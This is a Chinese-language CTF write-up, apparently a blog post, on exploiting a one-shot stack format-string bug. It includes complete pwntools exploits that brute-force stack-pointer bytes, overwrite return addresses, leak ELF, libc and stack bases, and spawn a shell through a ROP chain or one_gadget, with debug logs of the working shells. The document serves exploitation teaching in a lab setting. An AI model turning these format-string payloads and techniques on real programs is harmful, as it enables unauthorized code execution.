0x00
上次仅仅有栈地址的低两字节,一次非栈上格式化字符串利用的比较极限的题打完,现在又碰到一个啥都不给的栈上格串题,但好在静态链接,有后门函数,分析一下
参考博客 https://bbs.kanxue.com/thread-281920.htm
0x01 只有一次机会的栈上fmtstr
题目 ida 看一眼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int __fastcall main(int argc, const char **argv, const char **envp) { int v3; int v4; int v5; int v6; char buf[104]; unsigned __int64 v9;
v9 = __readfsqword(0x28u); init_0(argc, argv, envp); puts("one printf"); read(0, buf, 0x60uLL); printf((unsigned int)buf, (unsigned int)buf, v3, v4, v5, v6, buf[0]); return 0; }
|
栈上 fmtstr
漏洞,但只有一次,此题有后门函数
1 2 3 4
| __int64 back_door() { return system("/bin/sh"); }
|
这里是静态链接
我们查看一下 printf
栈帧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pwndbg> stack 30 00:0000│ rsp 0x7fffffffda68 —▸ 0x400c2a (main+84) ◂— mov eax, 0 01:0008│ rdi rsi 0x7fffffffda70 ◂— 'aaaaaaaa\n' 02:0010│-068 0x7fffffffda78 ◂— 0xa /* '\n' */ 03:0018│-060 0x7fffffffda80 ◂— 1 04:0020│-058 0x7fffffffda88 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched' 05:0028│-050 0x7fffffffda90 —▸ 0x7fffffffdc18 —▸ 0x7fffffffdf31 ◂— 'SHELL=/bin/bash' 06:0030│-048 0x7fffffffda98 ◂— 2 07:0038│-040 0x7fffffffdaa0 —▸ 0x6b7140 (__preinit_array_start) —▸ 0x400b30 (frame_dummy) ◂— mov eax, __register_frame_info 08:0040│-038 0x7fffffffdaa8 —▸ 0x40199c (__libc_csu_init+124) ◂— add rbx, 1 09:0048│-030 0x7fffffffdab0 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched' 0a:0050│-028 0x7fffffffdab8 —▸ 0x400400 (_init) ◂— sub rsp, 8 0b:0058│-020 0x7fffffffdac0 —▸ 0x401920 (__libc_csu_init) ◂— push r15 0c:0060│-018 0x7fffffffdac8 —▸ 0x4019c0 (__libc_csu_fini) ◂— push rbp 0d:0068│-010 0x7fffffffdad0 ◂— 0 0e:0070│-008 0x7fffffffdad8 ◂— 0x1f0cdfd354979e00 0f:0078│ rbp 0x7fffffffdae0 —▸ 0x401920 (__libc_csu_init) ◂— push r15 10:0080│+008 0x7fffffffdae8 —▸ 0x4011c9 (__libc_start_main+777) ◂— mov edi, eax 11:0088│+010 0x7fffffffdaf0 ◂— 0 12:0090│+018 0x7fffffffdaf8 ◂— 0x100000000 13:0098│+020 0x7fffffffdb00 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched' 14:00a0│+028 0x7fffffffdb08 —▸ 0x400bd6 (main) ◂— push rbp 15:00a8│+030 0x7fffffffdb10 ◂— 0 16:00b0│+038 0x7fffffffdb18 ◂— 0x4400000019 17:00b8│+040 0x7fffffffdb20 ◂— 0 18:00c0│+048 0x7fffffffdb28 ◂— 0x100000040 /* '@' */ 19:00c8│+050 0x7fffffffdb30 ◂— 0 ... ↓ 3 skipped 1d:00e8│+070 0x7fffffffdb50 —▸ 0x400400 (_init) ◂— sub rsp, 8
|
有后门函数,如果我们想改返回地址,就需要栈地址,然而我们只有一次机会(熟悉的感觉)
这时候注意到,栈上我们输入可以达到的地方,存在着一个栈地址
1 2 3 4 5 6 7 8 9
| 01:0008│ rdi rsi 0x7fffffffda70 ◂— 'aaaaaaaa\n' 02:0010│-068 0x7fffffffda78 ◂— 0xa /* '\n' */ 03:0018│-060 0x7fffffffda80 ◂— 1 04:0020│-058 0x7fffffffda88 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched' 05:0028│-050 0x7fffffffda90 —▸ 0x7fffffffdc18 —▸ 0x7fffffffdf31 ◂— 'SHELL=/bin/bash' 06:0030│-048 0x7fffffffda98 ◂— 2 07:0038│-040 0x7fffffffdaa0 —▸ 0x6b7140 (__preinit_array_start) —▸ 0x400b30 (frame_dummy) ◂— mov eax, __register_frame_info 08:0040│-038 0x7fffffffdaa8 —▸ 0x40199c (__libc_csu_init+124) ◂— add rbx, 1 09:0048│-030 0x7fffffffdab0 —▸ 0x7fffffffdc08 —▸ 0x7fffffffdf09 ◂— '/home/r3t2/ctf/temp/fmtstr2/pwn_patched'
|
在 0x7fffffffdab0
处,我们输入起始于 0x7fffffffda70
,相差0x40
,而我们可以输入0x60
,也就是说,我们可以覆盖到这个栈地址,因为我们不知道栈地址,所以只好覆盖低字节来——爆破
这里存放的栈地址是0x7fffffffdc08
,而main
的返回地址
1 2
| 0f:0078│ rbp 0x7fffffffdae0 —▸ 0x401920 (__libc_csu_init) ◂— push r15 10:0080│+008 0x7fffffffdae8 —▸ 0x4011c9 (__libc_start_main+777) ◂— mov edi, eax
|
位于0x7fffffffdae8
,有12bits
的差异,我们需要爆破两字节,修改返回地址为后门函数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b printf set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
backdoor = 0x400bc2 call_read = 0x400c03 puts_str = 0x400bf7 ret_addr = 0x400c2a
def bomb(): io.recvuntil(b'one printf') payload = '%{}c'.format(0xbc2).encode() + b'%14$hn' payload = payload.ljust(0x40, b'\x00') + b'\x18\xdb' io.send(payload)
while True: try: io = start() bomb() io.sendline(b'whoami') io.recvuntil(b'r3t2') break except: io.close() continue
io.interactive()
|
爆破成功后效果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| [DEBUG] Received 0xb bytes: b'one printf\n' [DEBUG] Sent 0x42 bytes: 00000000 25 33 30 31 30 63 25 31 34 24 68 6e 00 00 00 00 │%301│0c%1│4$hn│····│ 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000040 08 aa │··│ 00000042 [DEBUG] Sent 0x7 bytes: b'whoami\n' [DEBUG] Received 0xbc2 bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000bc0 20 10 │ ·│ 00000bc2 [DEBUG] Received 0x5 bytes: b'r3t2\n' [*] Switching to interactive mode
$
|
0x02 更加极限的情况
如果不是静态链接,没有后门函数,其实也区别不大
我们设想一种情况,got
不可写,开启PIE
,无后门函数,还是只有一次栈上格串机会,怎么办呢?
其实和上面思路类似,尽管elf_base
,libc_base
,栈地址全部不知道,但是我们有:
和上面类似的思路,如果在输入可以达到的地方能找到一个栈地址,我们就可以爆破其低一字节或者两字节,覆盖为返回地址的栈上地址,然后修改返回地址的低字节,回到printf
之前,先泄露了elf_base
,libc_base
以及栈地址,那么就可以利用我们创造的第二次格串利用机会来getshell
多说无益,我们上手实操
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFLEN 0x60
__attribute__((naked, noinline, used, visibility("default"))) void gadget(void) { __asm__ __volatile__( "pop %r10\n\t" "pop %r11\n\t" "pop %r12\n\t" "ret\n\t" ); }
int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0; } int dofunc(){ char buf[BUFLEN]; puts("input"); read(0, buf, BUFLEN); printf(buf); _exit(0); return 0; } int main(){ init_func(); dofunc(); return 0; }
|
为了方便演示ROP
,加入了pop r10 ; pop r11 ; pop r12 ; ret
,如果使用one_gadget
则不需要
这次我们要修改printf
的返回地址,第一次爆破成功泄露栈地址,elf_base
以及libc_base
,后续修改printf
返回地址为one_gadget
,又或者是在栈上布置ROP
链皆可
打ROP
的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b printf set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
def bomb(): payload = b"%20$p%21$p%23$pa" payload += '%{}c'.format(0x5b - 0x2b).encode() + b'%15$hhn' payload = payload.ljust(0x48, b'\x00') + b'\x68' io.recvuntil(b'input') io.send(payload) global elf_base global libc_base global stack_addr io.recvuntil(b'0x') stack_addr = int(io.recv(12), 16) io.recvuntil(b'0x') elf_base = int(io.recv(12), 16) - 28 - elf.sym['main'] io.recvuntil(b'0x') libc_base = int(io.recv(12), 16) + 0xb0 - 128 - libc.sym['__libc_start_main']
while True: try: io = start() bomb() io.recvuntil(b'input') break except: io.close() continue
log.info("stack_addr --> "+hex(stack_addr)) log.info("elf_base --> "+hex(elf_base)) log.info("libc_base --> "+hex(libc_base))
pop = elf_base + 0x11cd pop_rdi_ret = libc_base + 0x2a3e5 ret = pop_rdi_ret + 1 binsh = libc_base + next(libc.search(b'/bin/sh')) system = libc_base + libc.sym['system'] printf_ret = stack_addr - 0x88
payload = '%{}c'.format((elf_base & 0xffff) + 0x11cd).encode() + b'%8$hn' payload = payload.ljust(0x10, b'a') payload += p64(printf_ret) payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
io.send(payload)
io.interactive()
|
效果
1 2 3 4 5 6 7 8 9 10 11 12
| $ [DEBUG] Received 0x1dc bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 000001d0 20 70 61 61 61 61 68 b3 c4 cd fd 7f │ paa│aah·│····│ 000001dc paaaah\xb3\xc4\xcd\xfd\x7f$ w wh who whoa whoam whoami whoami [DEBUG] Sent 0x7 bytes: b'whoami\n' [DEBUG] Received 0x5 bytes: b'r3t2\n' r3t2 $
|
打one_gadget
的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "pwn" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b printf set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35 '''
def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs)
def bomb(): payload = b"%20$p%21$p%23$pa" payload += '%{}c'.format(0x5b - 0x2b).encode() + b'%15$hhn' payload = payload.ljust(0x48, b'\x00') + b'\x68' io.recvuntil(b'input') io.send(payload) global elf_base global libc_base global stack_addr io.recvuntil(b'0x') stack_addr = int(io.recv(12), 16) io.recvuntil(b'0x') elf_base = int(io.recv(12), 16) - 28 - elf.sym['main'] io.recvuntil(b'0x') libc_base = int(io.recv(12), 16) + 0xb0 - 128 - libc.sym['__libc_start_main']
while True: try: io = start() bomb() io.recvuntil(b'input') break except: io.close() continue
log.info("stack_addr --> "+hex(stack_addr)) log.info("elf_base --> "+hex(elf_base)) log.info("libc_base --> "+hex(libc_base))
one_gadget = libc_base + 0xebc85 printf_ret = stack_addr - 0x88
var1 = one_gadget & 0xffff var2 = ((one_gadget >> 16) & 0xffff) - var1 + 0x10000 var3 = ((one_gadget >> 32) & 0xffff) - var1 - var2 + 0x20000 var4 = ((one_gadget >> 48) & 0xffff) - var1 - var2 - var3 + 0x30000
payload = '%{}c'.format(var1).encode() + b'%13$hn' payload += '%{}c'.format(var2).encode() + b'%14$hn' payload += '%{}c'.format(var3).encode() + b'%15$hn' payload += '%{}c'.format(var4).encode() + b'%16$hn' payload = payload.ljust(0x38, b'a') + p64(printf_ret) + \ p64(printf_ret + 2) + p64(printf_ret + 4) + p64(printf_ret + 6)
io.send(payload)
io.interactive()
|
效果
1 2 3 4 5 6 7 8 9 10 11 12 13
| $ [DEBUG] Received 0x3a bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 05 │ │ │ │ ·│ 00000030 61 61 61 61 68 ae 7a 70 fe 7f │aaaa│h·zp│··│ 0000003a \x05aaaah\xaezp\xfe\x7f$ whoami [DEBUG] Sent 0x7 bytes: b'whoami\n' [DEBUG] Received 0x5 bytes: b'r3t2\n' r3t2 $
|